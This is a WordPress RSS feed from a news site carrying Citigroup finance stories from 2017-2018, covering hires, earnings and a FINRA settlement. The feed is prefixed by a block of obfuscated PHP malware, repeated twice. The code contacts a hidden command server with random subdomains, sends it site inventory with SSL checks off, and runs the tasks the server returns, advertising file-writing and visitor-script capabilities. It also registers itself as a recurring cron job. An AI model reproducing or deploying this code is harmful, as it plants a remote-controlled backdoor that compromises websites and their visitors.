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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Citigroup – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 11 Mar 2018 17:23:45 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Citigroup – Brief News https://briefnews.eu 32 32 $35 billion hedge fund Millennium Management has hired a top trader from Citigroup https://briefnews.eu/35-billion-hedge-fund-millennium-management-has-hired-a-top-trader-from-citigroup/ https://briefnews.eu/35-billion-hedge-fund-millennium-management-has-hired-a-top-trader-from-citigroup/#respond Sun, 11 Mar 2018 17:23:45 +0000 http://briefnews.eu/35-billion-hedge-fund-millennium-management-has-hired-a-top-trader-from-citigroup/ Traders work in the Citigroup booth on the floor of the New York Stock Exchange (NYSE) in New York City, U.S., May 25, 2016. REUTERS/Brendan McDermid Thomson Reuters

  • Sebastian Ridd, who had been head of program trading and cash trading in the US at Citigroup, is joining giant hedge fund Millennium Management.
  • His departure from Citigroup, along with that of global head of cash trading Armando Diaz, represents a shift at the top of the US bank’s stock trading business. 

Millennium Management, the $ 35.7 billion hedge fund giant, has hired a top trader away from Citigroup. 

Sebastian Ridd, head of program trading and cash trading in the US at Citigroup, left the firm in recent weeks and is headed to the hedge fund, according to people familiar with the matter.

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]]> https://briefnews.eu/35-billion-hedge-fund-millennium-management-has-hired-a-top-trader-from-citigroup/feed/ 0 Citigroup climbs after beating expectations despite a $22 billion tax hit (C, JPM, WFC, PNC, BAC, COF, STI, KEY, GS, MS, BBT) https://briefnews.eu/citigroup-climbs-after-beating-expectations-despite-a-22-billion-tax-hit-c-jpm-wfc-pnc-bac-cof-sti-key-gs-ms-bbt/ https://briefnews.eu/citigroup-climbs-after-beating-expectations-despite-a-22-billion-tax-hit-c-jpm-wfc-pnc-bac-cof-sti-key-gs-ms-bbt/#respond Tue, 16 Jan 2018 14:18:10 +0000 http://briefnews.eu/citigroup-climbs-after-beating-expectations-despite-a-22-billion-tax-hit-c-jpm-wfc-pnc-bac-cof-sti-key-gs-ms-bbt/ Michael CorbatLarry French/AP

  • Citigroup‘s stock climbed after reporting strong earnings that beat analysts’ expectations.
  • The major banks are expected to post some losses after provisions in the new tax law.
  • Shares of the major banks were up in pre-market trading.
  • View Citigroup’s real-time stock price here.

 

Shares of Citigroup jumped 3.10% to $ 79.22 on Tuesday before the bell after the bank reported earnings that beat Wall Street expectations.

The bank posted adjusted earnings of $ 1.28 a share, above analysts’ expectations of $ 1.19 a share. Yet the financial institution booked a one-time, non-cash charge of $ 22 billion, or $ 8.43 per share, due to the tax law.

Wall Street is anticipating a somewhat turbulent quarter as a result of the tax law. Many banks are expected to book short-term losses because of repatriated cash and deferred tax assets that declined in value.

JPMorgan, Wells Fargo and PNC Financial were the first of the big banks to post earnings on Friday. JPMorgan posted a strong quarter despite taking a $ 2.4 billion hit from tax reform, while Wells Fargo was boosted by tax reform.

Some of the major banks are listed below with their current trading price. Click on each name to go to their real-time chart. You can also see when the other banks report their earnings here.

To read more about why Trump’s new tax rules will cause big banks to book losses, click here.

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  • Citigroup will pay at least $ 11.5 million in fines and restitution to settle charges it displayed the wrong research ratings on more than 1,800 stocks.
  • FINRA said the errors stemmed from problems with an electronic data feed, and Citigroup failed to timely fix the wrongly displayed ratings despite “numerous” red flags.

NEW YORK (Reuters) – Citigroup Inc will pay at least $ 11.5 million in fines and restitution to settle charges it displayed the wrong research ratings on more than 1,800 stocks, causing many customers to own shares they never would have bought, a U.S. regulator said on Thursday.

The Financial Industry Regulatory Authority fined Citigroup $ 5.5 million and ordered it to pay at least $ 6 million to retail customers over errors that occurred between February 2011 and December 2015, and involved more than 38 percent of the equity securities that the New York-based bank covered.

Citigroup did not admit or deny wrongdoing, but the sanctions reflected its cooperation, including its decisions to report the rating issues and compensate customers, FINRA said.

The regulator said Citigroup would sometimes display to customers, brokers and supervisors the wrong ratings, such as “buy” instead of “sell,” while in other cases it would display ratings for companies it did not cover, or no ratings at all.

As a result, brokers solicited thousands of transactions and negligently made inaccurate statements premised on wrong ratings, and many customers ended up owning stocks with “sell” ratings despite a prohibition on such ownership, FINRA said.

FINRA said the errors stemmed from problems with an electronic data feed, and Citigroup failed to timely fix the wrongly displayed ratings despite “numerous” red flags. The bank’s actual research reports and ratings were not affected.

“The display and use of incomplete and inaccurate research ratings can have widespread, adverse consequences to customers,” FINRA enforcement chief Susan Schroeder said in a statement. “Firms should react quickly to address those errors.”

Citigroup spokeswoman Danielle Romero-Apsilos said the bank was pleased to resolve the matter.

(Reporting by Jonathan Stempel in New York; Editing by Andrew Hay)

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]]> https://briefnews.eu/citigroup-kept-telling-clients-to-buy-stocks-when-it-meant-sell/feed/ 0 Citigroup hired a former Goldman Sachs banker to cover a booming Wall Street business (C) https://briefnews.eu/citigroup-hired-a-former-goldman-sachs-banker-to-cover-a-booming-wall-street-business-c/ https://briefnews.eu/citigroup-hired-a-former-goldman-sachs-banker-to-cover-a-booming-wall-street-business-c/#respond Mon, 27 Nov 2017 12:40:04 +0000 http://briefnews.eu/citigroup-hired-a-former-goldman-sachs-banker-to-cover-a-booming-wall-street-business-c/ citigroupREUTERS/ Keith Bedford

  • Citigroup has hired a former senior banker at Goldman Sachs.
  • Taran Bakker joins Citi as a managing director in the bank’s Global Asset Managers group, where he’ll cover private equity, pensions, sovereign wealth funds, and family offices in North America.
  • Buyout firms are a growing source of business for investment banks, and Citi has been maneuvering to claim more market share in the sector.  

Citigroup has hired a former Goldman Sachs banker to work with private equity firms, pensions, sovereign wealth funds, and family offices in North America — a growing source of business for Citi and Wall Street more broadly.

Taran Bakker joins Citi’s Global Asset Managers group as a managing director, according to an internal memo seen by Business Insider. A Citi spokesman confirmed the hire. 

Bakker joins from Goldman Sachs, where he did similar work as a managing director in the bank’s Financial and Strategic Investors group. He was promoted to MD there in 2013. 

Bakker will report to Anthony Diamandakis and Christian Anderson, who were promoted to global co-heads of the Global Asset Managers group earlier this year. 

The asset managers group at Citi was created in 2016 to focus its efforts at providing investment banking services to private equity shops and other similarly focused buyout investors, an area where Citi has lagged the competition in previous years. Coverage of such firms used to be spread across the bank, rather than via a dedicated team.  

The sector is a booming source of fee income on Wall Street as PE firms’ dry powder has reached all-time highs and sovereign wealth funds and family offices have increasingly surfaced as competitors. 

Fee revenue from buyout funds reached $ 8.8 billion in the first nine months of 2017, up 26% from 2016, according to data from Thomson Reuters. 

Citi ranks 7th among the top banks in fees from this group, pulling in $ 424 million in the first nine months — up 33% from 2016. 

In addition to Bakker, Citi hired Shawn Borisoff away from UBS in April serve as an MD in the Global Asset Managers group covering Europe, the Middle East, and Africa. 

Bakker and Borisoff are among more than 20 Citi hires at an MD level or higher in its Corporate and Investment Banking division this year. 

Citi ranks 4th on the league tables for investment banking revenues through the first nine months of the year with $ 3.8 billion, up 27% and one spot on the rankings from last year, according to Thomson Reuters data.  

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]]> https://briefnews.eu/citigroup-hired-a-former-goldman-sachs-banker-to-cover-a-booming-wall-street-business-c/feed/ 0 Citigroup is staffing up for a new center that will unleash robotics throughout the bank (C) https://briefnews.eu/citigroup-is-staffing-up-for-a-new-center-that-will-unleash-robotics-throughout-the-bank-c-2/ https://briefnews.eu/citigroup-is-staffing-up-for-a-new-center-that-will-unleash-robotics-throughout-the-bank-c-2/#respond Mon, 24 Jul 2017 07:44:18 +0000 http://briefnews.eu/citigroup-is-staffing-up-for-a-new-center-that-will-unleash-robotics-throughout-the-bank-c-2/ irobot robothttp://www.imdb.com/title/tt0343818/

Citigroup is staffing up for the robotic revolution.

The New York-based financial services giant has plastered online jobs boards advertising roles at a new automation center that will deploy new robotic technology throughout the bank.

Mark Costiglio, a Citi spokesperson, declined to comment on the matter.

The so-called Smart Automation Centre is looking for staff in at least five cities including Tampa, London, Singapore, New York and Budapest.

“The Smart Automation Centre will be responsible for partnering with our businesses and functions across Citi to ensure all the elements are in place for the rapid deployment of Robotics and other related technologies,” according to one ad on the firm’s talent search engine.

The bank is seeking talent spanning the seniority spectrum from junior engineers to senior vice presidents. The positions require varying levels of tech expertise, but the bank wants the center’s employees to fit a very specific cultural mold. 

“Must be entrepreneurial, and thrive in environments with a blank canvas that will allow you to flex your intellectual muscle to contribute to building a strategy from the ground up,” one job ad said. 

The firm is looking for at least two senior program managers to serve as a robotic “catalyst” who will partner with divisions across the bank to identify new technologies and lead their development from the use-case stage to full scale production. The senior program manager would also work with various groups within the bank to familiarize them with robotics and automation.

The bank is also looking for program engineers to support the “catalysts” in identifying automation opportunities.

A recent report by FIS, the global financial technology provider, identified automation as a critical growth lever for Wall Street firms.

“Driven by margin pressures and regulatory changes, institutions across the financial services industry have been working to deepen the automation of the transaction lifecycle for the last few years,” the report said.

Business Insider’s Oscar Williams-Grut recently visited UBS’ London office where they are developing a software program that automates some “boring” aspects of trading.

“These are all tools that belong to 2017 and beyond,” Beatriz Matin-Jimenez, chief operating officer of the UBS’ investment bank and the UK region, told Business Insider.”We believe this is the way banks are going to be more than ever.”

JPMorgan, which is spending big on technology as it looks to cut costs and increase efficiency, last year launched a predictive recommendation engine to identify those clients which should issue or sell equity. And now, given the initial success of the engine, it’s being rolled out to other areas.

And at an event in January, Goldman Sachs’ deputy chief financial officer Marty Chavez said the bank was focused on automating investment banking tasks. He said that the bank has mapped out 146 distinct steps in the initial public offering process, and that many of these are “begging to be automated,” according to MIT Technology Review.

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]]> https://briefnews.eu/citigroup-is-staffing-up-for-a-new-center-that-will-unleash-robotics-throughout-the-bank-c-2/feed/ 0 Citigroup is staffing up for a new center that will unleash robotics throughout the bank (C) https://briefnews.eu/citigroup-is-staffing-up-for-a-new-center-that-will-unleash-robotics-throughout-the-bank-c/ https://briefnews.eu/citigroup-is-staffing-up-for-a-new-center-that-will-unleash-robotics-throughout-the-bank-c/#respond Mon, 17 Jul 2017 15:35:21 +0000 http://briefnews.eu/citigroup-is-staffing-up-for-a-new-center-that-will-unleash-robotics-throughout-the-bank-c/ irobot robothttp://www.imdb.com/title/tt0343818/

Citigroup is staffing up for the robotic revolution.

The New York-based financial services giant has plastered online jobs boards advertising roles at a new automation center that will deploy new robotic technology throughout the bank.

Mark Castiglio, a Citi spokesperson, declined to comment on the matter.

The so-called Smart Automation Centre is looking for staff in at least five cities including Tampa, London, Singapore, New York and Budapest.

“The Smart Automation Centre will be responsible for partnering with our businesses and functions across Citi to ensure all the elements are in place for the rapid deployment of Robotics and other related technologies,” according to one ad on the firm’s talent search engine.

The bank is seeking talent spanning the seniority spectrum from junior engineers to senior vice presidents. The positions require varying levels of tech expertise, but the bank wants the center’s employees to fit a very specific cultural mold. 

“Must be entrepreneurial, and thrive in environments with a blank canvas that will allow you to flex your intellectual muscle to contribute to building a strategy from the ground up,” one job ad said. 

The firm is looking for at least two senior program managers to serve as a robotic “catalyst” who will partner with divisions across the bank to identify new technologies and lead their development from the use-case stage to full scale production. The SVP would also work with various groups within the back to familiarize them with robotics and automation.

The bank is also looking for program engineers to support the “catalysts” in identifying automation opportunities.

A recent report by FIS, the global financial technology provider, identified automation as a critical growth lever for Wall Street firms.

“Driven by margin pressures and regulatory changes, institutions across the financial services industry have been working to deepen the automation of the transaction lifecycle for the last few years,” the report said.

Business Insider’s Oscar Williams-Grut recently visited the UBS’ London office where they are developing a software program that automates some “boring” aspects of trading.

“These are all tools that belong to 2017 and beyond,” Beatriz Matin-Jimenez, chief operating officer of the UBS’ investment bank and the UK region, told Business Insider.”We believe this is the way banks are going to be more than ever.”

JPMorgan, which is spending big on technology as it looks to cut costs and increase efficiency, last year launched a predictive recommendation engine to identify those clients which should issue or sell equity. And now, given the initial success of the engine, it’s being rolled out to other areas.

And at an event in January, Goldman Sachs’ deputy chief financial officer Marty Chavez said the bank was focused on automating investment banking tasks. He said that the bank has mapped out 146 distinct steps in the initial public offering process, and that many of these are “begging to be automated,” according to MIT Technology Review.

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]]> https://briefnews.eu/citigroup-is-staffing-up-for-a-new-center-that-will-unleash-robotics-throughout-the-bank-c/feed/ 0 Citigroup beats on earnings as fixed income business soars https://briefnews.eu/citigroup-beats-on-earnings-as-fixed-income-business-soars/ https://briefnews.eu/citigroup-beats-on-earnings-as-fixed-income-business-soars/#respond Fri, 14 Jul 2017 20:57:00 +0000 http://briefnews.eu/citigroup-beats-on-earnings-as-fixed-income-business-soars/ A man walks past a Citibank branch in lower Manhattan, New York October 16, 2012. REUTERS/Carlo AllegriThomson Reuters

Citigroup beat second-quarter earnings Friday thanks in part to its soaring fixed income business. 

The bank reported quarterly earnings of $ 1.28 per share, eclipsing Wall Street estimates of $ 1.22 per share.

“During the quarter, we saw
continued momentum in our
businesses, with loan and
revenue growth across both sides
of the house,” Citi CEO Michael Corbat said. “Our Global
Consumer Bank posted revenue
growth in all three regions. Our
Institutional Clients Group had a
very strong quarter all-around,
including its best Investment
Banking performance in seven
years.

Here are the key numbers:

  • Net income of $ 3.9 billion, or $ 1.28 per share.
  • Revenues of $ 17.9 billion, beating analysts’ estimates of $ 17.4 billion.
  • Fixed income paced the strong quarter with earnings of $ 3.21 billion, beating analysts’ prediction of $ 2.98 billion.
  • Global consumer banking posted revenues of $ 8 billion, a 5% increase.
  • End of period loans were $ 645 billion, up 2% from the prior year. 

 

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Citigroup is set to announce second-quarter earnings Friday at 8 a.m. 

Wall Street estimates the firm will announce earnings of $ 1.22 per share, down from $ 1.35 the previous quarter. 

Here’s what else analysts are expecting:

  • Preferred dividend to rise from $ 301 million to $ 320 million
  • Additional details on the company’s Investor Day, to be held later this month

Citi, JPMorgan, and Wells Fargo are kicking off the earnings cycle for US banks, which are riding high after nearly every firm passed Federal Reserve’s annual stress tests with flying colors. Investors are anticipating strong earnings from the sector.

The firm got approval from the Federal reserve to double its quarterly dividend from $ 0.16 to $ 0.32 per share, and it also announced a $ 15.6 billion share repurchase program over the next four quarters. 

Citi is expected to discuss its forthcoming Investor Day, which is set for July 25. It’s the first Investor Day the bank has held since 2008. 

Last quarter, Citi beat earnings thanks to fixed-income revenues hitting a three-year high of $ 3.62 billion. Equity markets revenue increased 10% year-over-year to $ 769 million in the first quarter, while revenue from branded cards rose by 13% year-on-year to $ 2.1 billion. 

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